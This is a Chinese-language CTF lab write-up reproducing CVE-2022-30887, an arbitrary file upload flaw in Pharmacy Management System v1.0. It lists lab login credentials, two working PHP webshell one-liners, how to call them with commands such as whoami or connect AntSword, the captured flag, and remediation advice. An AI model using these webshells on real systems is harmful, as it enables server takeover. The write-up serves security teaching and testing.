【春秋云镜】CVE-2022-30887(文件上传/rce)
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- 漏洞概述
- 复现环境准备
- 复现步骤 (PoC)
- 修复建议
CVE-2022-30887 是 Pharmacy Management System (MPMS) v1.0 中一个严重的 任意文件上传漏洞,攻击者可以利用此漏洞上传恶意文件,从而在目标服务器上执行任意代码。由于该漏洞无需身份验证即可利用,因此危害较大。
漏洞概述
- 漏洞原因:目标系统的
/php_action/editProductImage.php
文件对上传的文件没有进行有效的类型检查或安全验证,允许攻击者上传包含恶意代码的文件(如 PHP Webshell)。 - 影响版本:Pharmacy Management System (MPMS) v1.0。
- 利用条件:目标系统需存在漏洞且
webtools
应用可访问。
复现环境准备
-
漏洞环境:搭建或获取一个存在漏洞的 Pharmacy Management System v1.0 测试环境。可以从一些在线靶场平台(如“春秋云镜”)获取漏洞环境。
-
工具:
- 浏览器:用于访问目标系统并测试漏洞。
- 蚁剑 (AntSword) 或 冰蝎/哥斯拉:用于连接上传的 Webshell。
复现步骤 (PoC)
- 访问目标并登录系统:
- 通过浏览器访问目标 MPMS 系统的登录页面。
- 使用发现的默认凭证进行登录(例如,根据一些测试环境的信息,
mayuri.infospace@gmail.com
/mayurik
)。请注意,这并非官方默认密码,主要出现在某些实验环境中。
- 登录成功后,寻找与“药物管理”、“添加药物”或类似功能相关的页面,这些页面通常包含图片上传功能。
- 上传恶意文件(Webshell):
- 在找到的上传点,准备一个简单的 PHP Webshell 文件,例如:
或能执行系统命令的脚本:<?php @eval($_POST['cmd']);?>
<?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?>
- 在找到的上传点,准备一个简单的 PHP Webshell 文件,例如:
上传成功跳转到这个页面
我们右击图片,查看图片地址,就是木马文件路径
- 访问上传的 Webshell 并执行命令:
```-
如果上传的是命令执行脚本,可以通过在 URL 后添加参数来执行系统命令,例如:
http://<target-ip>:<port>/assets/myimages/shell.php?s=whoami
此命令会显示当前服务器的用户身份。
-
也可以使用蚁剑等工具直接连接 Webshell(连接密码为
cmd
)进行图形化操作https://eci-2ze8hgpd4zsoqjazcnyr.cloudeci1.ichunqiu.com:80/assets/myimages/shell.php
,从而更容易地浏览文件系统、查看文件(如获取 flag)或执行其他命令。
-
进入根目录,找到flag
flag{f1e5e5b7-de85-4b83-ad25-e3f8f31917ed}
修复建议
- 升级系统:这是最根本的解决方法。请关注官方发布的安全更新并及时升级到最新版本。
- 输入验证与过滤:
- 对文件上传功能实施严格的类型检查,不仅检查文件扩展名,更要检查文件内容的真实类型(如 MIME 类型)。
- 重命名上传的文件,避免用户控制最终的文件名。
- 将上传的文件存储在Web根目录之外,或配置服务器禁止将该目录中的脚本文件作为代码执行。
- 对用户上传的所有文件进行安全扫描。
- 最小权限原则:运行Web服务器的进程应具有最小必要的文件系统写入权限。
- 网络安全控制:
- 通过Web应用防火墙(WAF) 规则限制可疑的文件上传请求。
- 定期进行安全审计和漏洞扫描。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。